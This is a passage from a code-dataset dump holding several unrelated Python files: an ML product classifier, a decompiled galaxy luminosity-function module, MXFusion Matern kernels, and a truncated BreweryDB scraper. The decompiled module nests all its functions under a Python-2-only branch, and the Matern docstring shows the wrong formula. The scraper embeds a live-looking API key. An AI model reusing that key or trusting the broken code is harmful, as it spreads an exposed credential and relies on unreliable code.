UnitFeatures(key=\"Title\")),\n ('print shape', Printer(message = \"\\tUnit features\"))\n ])),\n (\"Amount of digits pipeline\", Pipeline([\n (\"Amount of digits\", AmountOfDigits(key=\"Title\")),\n ('print shape', Printer(message = \"\\tAmount of digits features\"))\n ]))\n ,\n ('Company prefix pipeline', Pipeline([\n (\"Company prefix\", CompanyPrefix('gcp-prefixes.tsv',key=\"EAN\")),\n ('print shape', Printer(message = \"\\tCompany prefix\"))\n ]))\n ])),\n (('print shape', Printer(message = \"\\tTotal\")))\n #(\"normalizer\", Normalizer())\n\n ])\n features = pipeline.transform(df)\n y = df[label_column]\n\n return features, y\n\n#Divides the data into m% training data.\n#The training data is furthermore divided into n segments (used for calculating the learning rate).\ndef training_only_slicing(X, y, m, n):\n train_segment_perc = []\n\n #Divide the data into n training segments\n X_train = []\n y_train = []\n for i in reversed(range(n)):\n train_segment_perc.append((m - (i) * (m / n)))\n X_train.append(X[:int(len(y)*train_segment_perc[n-i-1])])\n y_train.append(y[:int(len(y)*train_segment_perc[n-i-1])])\n return X_train, y_train\n\n#Divides the data into m% training data.\n#The training data is furthermore divided into n segments (used for calculating the learning rate).\ndef training_slicing(X, y, m, n):\n train_segment_perc = []\n default = [] ## testing\n #Divide the data into a m% test segment\n X_test = X[int(len(y)*m):]\n y_test = y[int(len(y)*m):]\n\n #Divide the data into n training segments\n X_train = []\n y_train = []\n for i in reversed(range(n)):\n train_segment_perc.append((m - (i) * (m / n)))\n X_train.append(X[:int(len(y)*train_segment_perc[n-i-1])])\n y_train.append(y[:int(len(y)*train_segment_perc[n-i-1])])\n return X_test, y_test, X_train, y_train\n\n#Generate a simple plot of the test and traning learning curve.\ndef plot_learning_curve(models, X, y, ylim=None, cv=None,n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n \"\"\"\n Generate a simple plot of the test and traning learning curve.\n\n Parameters\n ----------\n estimator : object type that implements the \"fit\" and \"predict\" methods\n An object of that type which is cloned for each validation.\n\n title : string\n Title for the chart.\n\n X : array-like, shape (n_samples, n_features)\n Training vector, where n_samples is the number of samples and\n n_features is the number of features.\n\n y : array-like, shape (n_samples) or (n_samples, n_features), optional\n Target relative to X for classification or regression;\n None for unsupervised learning.\n\n ylim : tuple, shape (ymin, ymax), optional\n Defines minimum and maximum yvalues plotted.\n\n cv : integer, cross-validation generator, optional\n If an integer is passed, it is the number of folds (defaults to 3).\n Specific cross-validation objects can be passed, see\n sklearn.cross_validation module for the list of possible objects\n\n n_jobs : integer, optional\n Number of jobs to run in parallel (default 1).\n \"\"\"\n f, axarr = plt.subplots(len(models), sharex=True)\n for i in range(len(models)):\n model = models[i]\n estimator = model['clf']\n title = model['name']\n sys.stdout.write('Training and plotting learning curve for %s - ' % title)\n sys.stdout.flush()\n t0 = time()\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n print(str(round(time()-t0, 3)) + 's')\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n\n axarr[i].set_title(title)\n axarr[i].set_xlabel('Training examples')\n axarr[i].set_ylabel('Score')\n axarr[i].fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n axarr[i].fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n axarr[i].plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n axarr[i].plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n axarr[i].grid()\n axarr[i].legend(loc=\"best\")\n\n if ylim is not None:\n axarr[i].set_ylim(*ylim)\n\n return plt\n\n#Currently only sets model & calls plot_learning_curve.\ndef train_cross_val(X, y):\n # Naive bayes models\n models = [{\n 'name': 'Naive Bayes',\n 'clf': MultinomialNB()\n }, {\n 'name': 'Naive Bayes (fit prior)',\n 'clf': MultinomialNB(fit_prior=True)\n }\n # logistic regression models\n #models = [{\n # 'name': 'Logistic regression',\n # 'clf': LogisticRegression()\n #}, {\n # 'name': 'Logistic regression (balanced)',\n #\n #}, {\n # 'name': 'Logistic regression (SAG-solver)',\n # 'clf': LogisticRegression(solver=\"sag\")\n #}, {\n # 'name': 'Logistic regression (SAG-solver, balanced)',\n # 'clf': LogisticRegression(solver=\"sag\", class_weight=\"balanced\")\n #}\n # SVM models\n # models = [{\n # 'name': 'SVM',\n # 'clf': svm.LinearSVC()\n # }, {\n # 'name': 'SVM (Crammer-Singer)',\n # 'clf': svm.LinearSVC(multi_class=\"crammer_singer\")\n # }, {\n # 'name': 'SVM (balanced)',\n # 'clf': svm.LinearSVC(class_weight=\"balanced\")\n # }\n #\n # models = [{\n # 'name': 'Decision Tree',\n # 'clf': tree.DecisionTreeClassifier()\n # }, {\n # 'name': 'Random forest',\n # 'clf': RandomForestClassifier(n_estimators=10)\n # }\n ]\n plot_learning_curve(models, X, y, ylim=(0.7, 1.01), cv=5, n_jobs=4)\n plt.show()\n # scores = cross_validation.cross_val_score(clf, X, y, cv=5)\n # print(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\n\n#An ML model of the type \"model\" is trained and tested.\n#X_train and y_train can both be lists of training segments.\ndef train_test(X_test, y_test, X_train, y_train, model):\n train_segments = len(y_train) #number of training segments\n train_segment_perc = [] #the % of training data contained in each training segment\n train_size = [] #the size of each training segment\n classification_time = [] #the classification time of the models\n prediction_time = [] #the prediction time of the models\n accuracy = [] #the accuracy of the model\n train_accuracy = []\n f1 = [] #the f1 score of the model\n precision = [] #the precision score of the model\n recall =[] #the recall score of the model\n model_name = \"\"\n model_to_return = None\n\n for i in (range(train_segments)):\n if model==\"nb\": #specify the model as a NaiveBayes\n clf = MultinomialNB()\n model_name = \"NAIVE BAYES\"\n elif model==\"svm\": #specify the model as a Support Vector Machine\n clf = svm.LinearSVC()\n model_name = \"SUPPORT VECTOR MACHINE\"\n elif model==\"svm_bal\":\n clf = svm.LinearSVC(class_weight=\"balanced\")\n model_name = \"SUPPORT VECTOR MACHINE (balanced)\"\n elif model==\"svm_cs\":\n clf = svm.LinearSVC(multi_class=\"crammer_singer\")\n model_name = \"SUPPORT VECTOR MACHINE (crammer-singer)\"\n elif model==\"svm_bal_cs\":\n clf = svm.LinearSVC(multi_class=\"crammer_singer\", class_weight=\"balanced\")\n model_name = \"SUPPORT VECTOR MACHINE (balanced, crammer-singer)\"\n\n elif model==\"dt\": #specify the model as a decision tree\n clf=tree.DecisionTreeClassifier()\n model_name = \"DECISION TREE\"\n elif model==\"rf\": #specify the model as a random forest ensamble of decision trees\n clf=RandomForestClassifier(n_estimators=10)\n model_name = \"RANDOM FOREST\"\n elif model==\"log\": #specify the model as a random forest ensamble of decision trees\n clf=LogisticRegression()\n model_name = \"LOGISTIC REGRESSION\"\n else:\n raise RunTimeError(\"No correct model given\")\n\n train_segment_perc.append(100-(100/train_segments)*(train_segments - i - 1 ) ) #append a new number to train_segment_perc\n train_size.append(len(y_train[i]))\n\n #Training the model\n print(\"TRAINING \" + model_name + \" MODEL \" + str(i+1) + \" (OF \" + str(train_segments) + \"): ON \" + str(train_segment_perc[i]) + \"% OF THE TRAINING DATA\")\n print(\"-------------------------------------------------------------\")\n t0 = time()\n print(\"The model is training using \" + str(len(y_train[i])) + \" products as training data...\")\n clf.fit(X_train[i], y_train[i]) #the classifier is trained on a segment of the training data\n classification_time.append(round(time()-t0, 3))\n print(\"- DONE!\")\n print(\"- The training took: \" + str(classification_time[i]) + \"s\")\n print(\"\\n\")\n\n #Testing the model\n t0 = time()\n print(\"The model is now making predictions on \" + str(len(y_test)) + \" products from the test data...\")\n y_pred = clf.predict(X_test) #the classifier makes a prediction based on what it has learnt\n prediction_time.append(round(time()-t0, 3))\n y_train_pred = clf.predict(X_train[i])\n train_accuracy.append(fbeta_score(y_train[i], y_train_pred, 1, average=\"weighted\"))\n\n accuracy.append(fbeta_score(y_test,y_pred, 1, average=\"weighted\")) #the accuracy of the prediction is calculated\n f1.append(f1_score(y_test, y_pred, average='micro'))\n precision.append(precision_score(y_test,y_pred, average='micro'))\n recall.append(recall_score(y_test,y_pred, average='micro'))\n print(\"- DONE!\")\n print(\"- The prediction took:\" + str(prediction_time[i]) + \"s\")\n print(\"- f1(weighted) score is: \" + str(accuracy[i]))\n print(\"- f1 score is: \" + str(f1[i]))\n print(\"- Precision score is: \" + str(precision[i]))\n print(\"- Recall score is: \" + str(recall[i]))\n print(\"- You can read a label specific classification report based on 100% of the training data in ./classification_report.txt\")\n print(\"\\n\")\n if i == train_segments - 1: #Generates a classification report for the model trained on 100% of the training data\n #f = open('classification_report.txt','w')\n #target_name = [str(a) for a in list(y_test)]\n #f.write(classification_report(y_test, y_pred, target_names=target_name))\n #cm = confusion_matrix(y_test, y_pred)\n print('---- This model will be saved ----')\n model_to_return = clf;\n\n f, axarr = plt.subplots(3, sharex=True)\n\n axarr[0].plot(train_size, accuracy, 'o-') #plot accuracy over different training segments\n axarr[0].plot(train_size, train_accuracy, '+-')\n axarr[0].set_title('Learning rate (weighted f1)')\n\n axarr[1].plot(train_size, classification_time, 'o-') #plot classification time over different training segments\n axarr[1].set_title('Classification time')\n\n axarr[2].plot(train_size, prediction_time, 'o-') #plot prediction time over different training segments\n\n axarr[2].set_title('Prediction time')\n\n #Confusion matrix. ()\n cm = confusion_matrix(y_test, y_pred)\n np.set_printoptions(precision=2)\n plt.figure()\n cm_normalized = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.imshow(cm_normalized, interpolation='nearest', cmap=plt.cm.Blues)\n plt.title('Normalized confusion matrix (100% data)')\n plt.colorbar()\n y_labels = np.unique(y_test, return_index=False)\n unspsc_codes = np.arange( len(y_labels) )\n plt.xticks(unspsc_codes, y_labels, rotation=45)\n plt.yticks(unspsc_codes, y_labels )\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.show()\n return model_to_return\n\n#Not in use.\n#Extracting features from the columns of a dataframe \"df\" specified in \"feature_list\" and creates a target vector from the column specified by \"target_name\".\ndef feature_extraction(feature, target_name, df):\n vect = HashingVectorizer(decode_error='ignore', ngram_range=(1,2), n_features = 2**18, binary=True, norm=\"l2\")\n le = preprocessing.LabelEncoder()\n # for multiple features replace this with http://scikit-learn.org/stable/auto_examples/hetero_feature_union.html\n df[feature] = df[feature].fillna('')\n titles = vect.transform(df[feature])\n\n X = titles\n #y = le.fit_transform(df[target_name])\n y = df[target_name]\n return X, y\n\n#Not in use.\n#Synthesize new exampels for underrepresented classes.\ndef SMOTE(X, n, k):\n normalizer = preprocessing.Normalizer()\n # X = class samples\n # n = amount of SMOTE in %\n # k = number of nearest neighbors\n\n # if n is less than 100%, randomize the minority class samples\n # as only a random percent of them will be SMOTEd\n #print(X)\n t = X.shape[0] #t = number of samples\n if n < 100:\n index = X.indices\n np.random.shuffle(index)\n X = X[index, :]\n t = int((n/100)*t)\n n = 100\n n = int(n/100)\n synthetics = []\n # Find the k-nearest neighbors of all samples\n lshf = LSHForest(n_neighbors=k).fit(X)\n nnmatrix = lshf.kneighbors(X, n_neighbors=k+1, return_distance=False)\n #print(nnmatrix)\n for i in range(t): #for each sample\n nnarray = nnmatrix[i] #the nearest neighbor of sample i\n count = n; # how many synthetics we should create\n while count != 0:\n nn_index = np.random.randint(1, high=k+1) #randomise index of one nearest neighbor\n neighbor = X[nnarray[nn_index]]\n sample = X[i]\n diff = neighbor - sample\n counts = diff.nonzero()\n y_vals = counts[0]\n x_vals = counts[1]\n gaps_data = np.random.rand(len(x_vals))\n #print (y_vals)\n #print(x_vals)\n #print(gaps_data)\n gaps = csr_matrix((gaps_data, (y_vals, x_vals)), shape=diff.shape)\n #print (\"--- neighbor\")\n #print(neighbor)\n #print (\"--- sample\")\n #print(sample)\n #print (\"--- gaps\")\n #print(gaps)\n #print (\"--- diff\")\n #print(diff)\n #print(\"--- diff shape\")\n #print(diff.shape)\n #print(\"--- gaps shape\")\n #print(gaps.shape)\n new = sample + diff.multiply(gaps)\n #print(\"--- new\")\n #print(new)\n synthetics.append(new)\n count = count-1\n vals = vstack(synthetics)\n return normalizer.transform(vstack(synthetics), copy=False) # how to do dis?\n","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":19326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"55753304","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.14-x86_64/egg/a3cosmos_gas_evolution/Common_Python_Code/calc_galaxy_luminosity_function.py\n# Compiled at: 2019-09-30 21:19:34\n# Size of source mod 2**32: 8623 bytes\nfrom __future__ import print_function\nimport os, sys, re, json, time, astropy, numpy as np\nfrom astropy.table import Table, Column, hstack\nfrom copy import copy\nfrom numpy import log, log10, power, sum, sqrt, pi, exp\npow = power\nlg = log10\nln = log\nfrom scipy.interpolate import InterpolatedUnivariateSpline, interp1d\nif os.path.dirname(os.path.abspath(__file__)) not in sys.path:\n sys.path.append(os.path.dirname(os.path.abspath(__file__)))\nimport apply_cosmology\ncosmo = apply_cosmology.cosmo\nif sys.version_info.major >= 3:\n long = int\nelse:\n\n def Schechter_Function_for_LF(L, L_character, Phi_character, alpha):\n Phi_Schechter = Phi_character * (L / L_character) ** alpha * np.exp(-(L / L_character))\n return Phi_Schechter\n\n\n def Saunders_Function_for_LF(L, L_character, Phi_character, alpha, sigma):\n Phi_Saunders = Phi_character * (L / L_character) ** (1 - alpha) * np.exp(-1.0 / (2.0 * sigma ** 2) * np.log10(1.0 + L / L_character) ** 2)\n return Phi_Saunders\n\n\n def calc_radio_LF_Novak2017(z, lgL=None, galaxy_type='SFG'):\n if not np.isscalar(z):\n raise ValueError('Please input a float number as the redshift!')\n if type(galaxy_type) is not str:\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n else:\n if galaxy_type not in ('ALL', 'SFG', 'QG'):\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n elif lgL is None:\n lgL_grid = np.linspace(18.0, 25.0, num=1000, endpoint=True)\n else:\n lgL_grid = lgL\n L_grid = 10 ** lgL_grid\n L_character = 1.85e+21\n Phi_character = 0.00355\n alpha = 1.22\n sigma = 0.63\n LF_zmin = 0.0\n LF_zmax = +np.inf\n if z < LF_zmin or z > LF_zmax:\n raise ValueError('calc_radio_LF_Novak2017: The input redshift is out of the allowed range of %s -- %s!' % (LF_zmin, LF_zmax))\n alphaL = 3.16\n betaL = -0.32\n L_grid_z = L_grid / (1.0 + z) ** (alphaL + z * betaL)\n Phi = Saunders_Function_for_LF(L_grid_z, L_character, Phi_character, alpha, sigma)\n lgPhi = np.log10(Phi)\n if lgL is None:\n return (\n lgL_grid, lgPhi)\n return lgPhi\n\n\n def calc_IR_250um_LF_Koprowski2017(z, lgL=None, galaxy_type='SFG'):\n if not np.isscalar(z):\n raise ValueError('Please input a float number as the redshift!')\n if type(galaxy_type) is not str:\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n else:\n if galaxy_type not in ('ALL', 'SFG', 'QG'):\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n elif lgL is None:\n lgL_grid = np.linspace(24.0, 27.0, num=1000, endpoint=True)\n else:\n lgL_grid = lgL\n L_grid = 10 ** lgL_grid\n table_z_lower = [\n 0.5, 1.5, 2.5, 3.5]\n table_z_upper = [1.5, 2.5, 3.5, 4.5]\n table_lgL_character = [25.2, 25.4, 25.63, 25.84]\n table_lgPhi_character = [-2.88, -3.03, -3.73, -4.59]\n alpha = -0.4\n LF_zmin = table_z_lower[0]\n LF_zmax = table_z_upper[(-1)]\n if z < LF_zmin or z > LF_zmax:\n raise ValueError('calc_IR_250um_LF_Koprowski2017: The input redshift is out of the allowed range of %s -- %s!' % (LF_zmin, LF_zmax))\n Phi = None\n lgPhi = None\n for i in range(len(table_z_upper)):\n if z >= table_z_lower[i] and z <= table_z_upper[i]:\n L_character = 10 ** table_lgL_character[i]\n Phi_character = 10 ** table_lgPhi_character[i]\n Phi = Schechter_Function_for_LF(L_grid, L_character, Phi_character, alpha)\n lgPhi = np.log10(Phi)\n break\n\n if lgL is None:\n return (\n lgL_grid, lgPhi)\n return lgPhi\n\n\n def calc_IR_LF_Gruppioni2013(z, lgL=None, galaxy_type='SFG'):\n if not np.isscalar(z):\n raise ValueError('Please input a float number as the redshift!')\n if type(galaxy_type) is not str:\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n else:\n if galaxy_type not in ('ALL', 'SFG', 'QG'):\n raise ValueError('Please input either \"ALL\", \"SFG\" or \"QG\" as the galaxy_type!')\n elif lgL is None:\n lgL_grid = np.linspace(8.0, 14.0, num=1000, endpoint=True)\n else:\n lgL_grid = lgL\n L_grid = 10 ** lgL_grid\n table_data = [\n [\n 0.0, 0.3, 1.15, 0.52, 10.12, -2.29],\n [\n 0.3, 0.45, 1.2, 0.5, 10.41, -2.31],\n [\n 0.45, 0.6, 1.2, 0.5, 10.55, -2.35],\n [\n 0.6, 0.8, 1.2, 0.5, 10.71, -2.35],\n [\n 0.8, 1.0, 1.2, 0.5, 10.97, -2.4],\n [\n 1.0, 1.2, 1.2, 0.5, 11.13, -2.43],\n [\n 1.2, 1.7, 1.2, 0.5, 11.37, -2.7],\n [\n 1.7, 2.0, 1.2, 0.5, 11.5, -3.0],\n [\n 2.0, 2.5, 1.2, 0.5, 11.6, -3.01],\n [\n 2.5, 3.0, 1.2, 0.5, 11.92, -3.27],\n [\n 3.0, 4.2, 1.2, 0.5, 11.9, -3.74]]\n table_data = np.array(table_data).T\n table_z_lower = table_data[0]\n table_z_upper = table_data[1]\n table_alpha = table_data[2]\n table_sigma = table_data[3]\n table_lgL_character = table_data[4]\n table_lgPhi_character = table_data[5]\n LF_zmin = table_z_lower[0]\n LF_zmax = table_z_upper[(-1)]\n if z < LF_zmin or z > LF_zmax:\n raise ValueError('calc_IR_LF_Gruppioni2013: The input redshift is out of the allowed range of %s -- %s!' % (LF_zmin, LF_zmax))\n Phi = None\n lgPhi = None\n for i in range(len(table_z_upper)):\n if z >= table_z_lower[i] and z <= table_z_upper[i]:\n L_character = 10 ** table_lgL_character[i]\n Phi_character = 10 ** table_lgPhi_character[i]\n alpha = table_alpha[i]\n sigma = table_sigma[i]\n Phi = Saunders_Function_for_LF(L_grid, L_character, Phi_character, alpha, sigma)\n lgPhi = np.log10(Phi)\n break\n\n if lgL is None:\n return (\n lgL_grid, lgPhi)\n return lgPhi","sub_path":"pycfiles/a3cosmos_gas_evolution-1.0.0-py3.7/calc_galaxy_luminosity_function.cpython-37.py","file_name":"calc_galaxy_luminosity_function.cpython-37.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"344534379","text":"# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# or in the \"license\" file accompanying this file. This file is distributed\n# on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n# express or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n# ==============================================================================\n\n\nimport numpy as np\nimport mxnet as mx\nfrom .stationary import StationaryKernel\n\n\nclass Matern(StationaryKernel):\n \"\"\"\n Matern kernel:\n\n .. math::\n k(r^2) = \\\\sigma^2 \\\\exp \\\\bigg(- \\\\frac{1}{2} r^2 \\\\bigg)\n\n :param input_dim: the number of dimensions of the kernel. (The total number of active dimensions)\n :type input_dim: int\n :param ARD: a binary switch for Automatic Relevance Determination (ARD). If true, the squared distance is divided\n by a lengthscale for individual dimensions.\n :type ARD: boolean\n :param variance: the initial value for the variance parameter (scalar), which scales the whole covariance matrix.\n :type variance: float or MXNet NDArray\n :param lengthscale: the initial value for the lengthscale parameter.\n :type lengthscale: float or MXNet NDArray\n :param name: the name of the kernel. The name is used to access kernel parameters.\n :type name: str\n :param active_dims: The dimensions of the inputs that are taken for the covariance matrix computation.\n (default: None, taking all the dimensions).\n :type active_dims: [int] or None\n :param dtype: the data type for float point numbers.\n :type dtype: numpy.float32 or numpy.float64\n :param ctx: the mxnet context (default: None/current context).\n :type ctx: None or mxnet.cpu or mxnet.gpu\n \"\"\"\n broadcastable = True\n\n def __init__(self, input_dim, order, ARD=False, variance=1.,\n lengthscale=1., name='matern', active_dims=None, dtype=None,\n ctx=None):\n super(Matern, self).__init__(\n input_dim=input_dim, ARD=ARD, variance=variance,\n lengthscale=lengthscale, name=name, active_dims=active_dims,\n dtype=dtype, ctx=ctx)\n self.order = order\n\n\nclass Matern52(Matern):\n def __init__(self, input_dim, ARD=False, variance=1., lengthscale=1.,\n name='matern52', active_dims=None, dtype=None, ctx=None):\n super(Matern52, self).__init__(\n input_dim=input_dim, order=2, ARD=ARD, variance=variance,\n lengthscale=lengthscale, name=name, active_dims=active_dims,\n dtype=dtype, ctx=ctx)\n\n def _compute_K(self, F, X, lengthscale, variance, X2=None):\n \"\"\"\n The internal interface for the actual covariance matrix computation.\n\n :param F: MXNet computation type .\n :param X: the first set of inputs to the kernel.\n :type X: MXNet NDArray or MXNet Symbol\n :param X2: (optional) the second set of arguments to the kernel. If X2 is None, this computes a square\n covariance matrix of X. In other words, X2 is internally treated as X.\n :type X2: MXNet NDArray or MXNet Symbol\n :param variance: the variance parameter (scalar), which scales the whole covariance matrix.\n :type variance: MXNet NDArray or MXNet Symbol\n :param lengthscale: the lengthscale parameter.\n :type lengthscale: MXNet NDArray or MXNet Symbol\n :return: The covariance matrix.\n :rtype: MXNet NDArray or MXNet Symbol\n \"\"\"\n R2 = self._compute_R2(F, X, lengthscale, variance, X2=X2)\n R = F.sqrt(F.clip(R2, 1e-14, np.inf))\n return F.broadcast_mul(\n (1+np.sqrt(5)*R+5/3.*R2)*F.exp(-np.sqrt(5)*R),\n F.expand_dims(variance, axis=-2))\n\n\nclass Matern32(Matern):\n def __init__(self, input_dim, ARD=False, variance=1., lengthscale=1.,\n name='matern32', active_dims=None, dtype=None, ctx=None):\n super(Matern32, self).__init__(\n input_dim=input_dim, order=1, ARD=ARD, variance=variance,\n lengthscale=lengthscale, name=name, active_dims=active_dims,\n dtype=dtype, ctx=ctx)\n\n def _compute_K(self, F, X, lengthscale, variance, X2=None):\n \"\"\"\n The internal interface for the actual covariance matrix computation.\n\n :param F: MXNet computation type .\n :param X: the first set of inputs to the kernel.\n :type X: MXNet NDArray or MXNet Symbol\n :param X2: (optional) the second set of arguments to the kernel. If X2 is None, this computes a square\n covariance matrix of X. In other words, X2 is internally treated as X.\n :type X2: MXNet NDArray or MXNet Symbol\n :param variance: the variance parameter (scalar), which scales the whole covariance matrix.\n :type variance: MXNet NDArray or MXNet Symbol\n :param lengthscale: the lengthscale parameter.\n :type lengthscale: MXNet NDArray or MXNet Symbol\n :return: The covariance matrix.\n :rtype: MXNet NDArray or MXNet Symbol\n \"\"\"\n R2 = self._compute_R2(F, X, lengthscale, variance, X2=X2)\n R = F.sqrt(F.clip(R2, 1e-14, np.inf))\n return F.broadcast_mul(\n (1+np.sqrt(3)*R)*F.exp(-np.sqrt(3)*R),\n F.expand_dims(variance, axis=-2))\n\n\nclass Matern12(Matern):\n def __init__(self, input_dim, ARD=False, variance=1., lengthscale=1.,\n name='matern12', active_dims=None, dtype=None, ctx=None):\n super(Matern12, self).__init__(\n input_dim=input_dim, order=0, ARD=ARD, variance=variance,\n lengthscale=lengthscale, name=name, active_dims=active_dims,\n dtype=dtype, ctx=ctx)\n\n def _compute_K(self, F, X, lengthscale, variance, X2=None):\n \"\"\"\n The internal interface for the actual covariance matrix computation.\n\n :param F: MXNet computation type .\n :param X: the first set of inputs to the kernel.\n :type X: MXNet NDArray or MXNet Symbol\n :param X2: (optional) the second set of arguments to the kernel. If X2 is None, this computes a square\n covariance matrix of X. In other words, X2 is internally treated as X.\n :type X2: MXNet NDArray or MXNet Symbol\n :param variance: the variance parameter (scalar), which scales the whole covariance matrix.\n :type variance: MXNet NDArray or MXNet Symbol\n :param lengthscale: the lengthscale parameter.\n :type lengthscale: MXNet NDArray or MXNet Symbol\n :return: The covariance matrix.\n :rtype: MXNet NDArray or MXNet Symbol\n \"\"\"\n R = F.sqrt(F.clip(self._compute_R2(F, X, lengthscale, variance, X2=X2),\n 1e-14, np.inf))\n return F.broadcast_mul(\n F.exp(-R), F.expand_dims(variance, axis=-2))\n","sub_path":"mxfusion/components/distributions/gp/kernels/matern.py","file_name":"matern.py","file_ext":"py","file_size_in_byte":7081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"282629213","text":"import requests\nfrom beer_and_styles import Beer, Style, Ingredient, BeerIngredients, Base\nfrom sqlalchemy.orm import sessionmaker\nimport sqlalchemy\n\n\nclass GetBeerData:\n def get_beer_data(self):\n #did 100-125\n pages = range(26,50)\n full_pages = []\n for i in pages:\n r = requests.get(f'http://api.brewerydb.com/v2/beers?key=34225f421585f1bbfa123e72317bd44a&p={i}')\n data = r.json()['data']\n full_pages.append(data)\n all_pages = []\n list(map(all_pages.extend, full_pages))\n return all_pages\n\nclass BeerBuilder:\n def run(self):\n beer_data = GetBeerData()\n beer_data.get_beer_data()\n beers = []\n for beer in beer_data.get_beer_data():\n try:\n beer['style']\n try:\n beer['style']['shortName']\n try:\n each_beer = Beer(name = beer['name'], beercode = beer['id'],\n nameDisplay = beer['nameDisplay'], description = beer['description'],\n abv = beer['abv'], ibu = beer['ibu'], isOrganic = beer['isOrganic'],\n foodPairings = beer['foodPairings'], style = beer['style']['name'])\n each_beer.style_shortName = session.query(Style).filter(Style.shortName == beer['style']['shortName']).first()\n except:\n keys = beer.keys()\n each_beer = Beer(name = beer['name'])\n if \"id\" in keys:\n each_beer.beercode = beer['id']\n if \"description\" in keys:\n each_beer.description = beer['description']\n if \"nameDisplay\" in keys:\n each_beer.name = beer['nameDisplay']\n if \"abv\" in keys:\n each_beer.abv = beer['abv']\n if \"ibu\" in keys:\n each_beer.abv = beer['ibu']\n if \"isOrganic\" in keys:\n each_beer.isOrganic = beer['isOrganic']\n if \"foodPairings\" in keys:\n each_beer.foodPairings = beer['foodPairings']\n if \"style\" in keys:\n each_beer.style = beer['style']['name']\n each_beer.style_shortName = session.query(Style).filter(Style.shortName == beer['style']['shortName']).first()\n except:\n pass\n except:\n pass\n beers.append(each_beer)\n return beers\n\n\nclass GetIngredientData():\n #list of dictionaries. Each dictionary is an ingredient with id, name, category, categoryDisplay.\n def get_ingredient_data(self):\n #change range to 4-10 and test db.session.query(Ingredient.name).all() to see how far it goes\n pages = range(11,15)\n all_ingredients = []\n for page in pages:\n page_ingredients = requests.get(f'http://api.brewerydb.com/v2/ingredients?key=34225f421585f1bbfa123e72317bd44a&p={page}')\n ingredients = page_ingredients.json()['data']\n all_ingredients.append(ingredients)\n all_pages = []\n list(map(all_pages.extend, all_ingredients))\n return all_pages\n\nclass IngredientBuilder():\n def run(self):\n ingredients = GetIngredientData()\n ingredients_list = ingredients.get_ingredient_data()\n ingredients = []\n for ingredient in ingredients_list:\n each_ingredient = Ingredient(name = ingredient['name'], ingredientcode = ingredient['id'], category = ingredient['category'], categoryDisplay = ingredient['categoryDisplay'])\n ingredients.append(each_ingredient)\n return ingredients\n\n\nclass StyleBuilder:\n def run(self):\n styler = requests.get('http://api.brewerydb.com/v2/styles?key=34225f421585f1bbfa123e72317bd44a&p=1')\n style_data = styler.json()['data']\n beer_styles = []\n for style in style_data:\n try:\n each_style = Style(name = style['name'], shortName = style['shortName'], category = style['category']['name'], description = style['description'],\n ibuMin = style['ibuMin'], ibuMax = style['ibuMax'], abvMin = style['abvMin'], abvMax = style['abvMax'])\n except:\n keys = style.keys()\n each_style = Style(name = style['name'])\n if \"shortName\" in keys:\n each_style.shortName = style['shortName']\n if \"description\" in keys:\n each_style.description = style['description']\n if \"category\" in keys:\n each_style.category = style['category']['name']\n if \"ibuMin\" in keys:\n each_style.ibuMin = style['ibuMin']\n if \"ibuMax\" in keys:\n each_style.ibuMax = style['ibuMax']\n if \"abvMin\" in keys:\n each_style.abvMin = style['abvMin']\n if \"abvMax\" in keys:\n each_style.abvMax = style['abvMax']\n beer_styles.append(each_style)\n return beer_styles\n\n\nid_list = GetBeerData()\nid_list.get_beer_data()\n\ndef get_ingredients_data():\n list_of_ids = [beer['id'] for beer in id_list.get_beer_data()]\n beers_and_ingredients = []\n for beer_id in list_of_ids:\n beer_ingredients = requests.get(f'http://api.brewerydb.com/v2/beer/{beer_id}/ingredients?key=34225f421585f1bbfa123e72317bd44a')\n ingredients = beer_ingredients.json()\n beer_ingredient_dict = {\"beercode\": beer_id, \"beer_ingredients\": ingredients}\n beers_and_ingredients.append(beer_ingredient_dict)\n return beers_and_ingredients\n\n\ndef ids_and_ingredients():\n ingr = []\n for i in get_ingredients_data():\n if i['beer_ingredients'].get('data'):\n just_data = i['beer_ingredients']['data']\n id_beer = i['beercode']\n ingr.append({'beercode':id_beer, 'data':just_data})\n return ingr\n\n\ndef beer_ingredient_ids():\n updated_beers = []\n for beer in 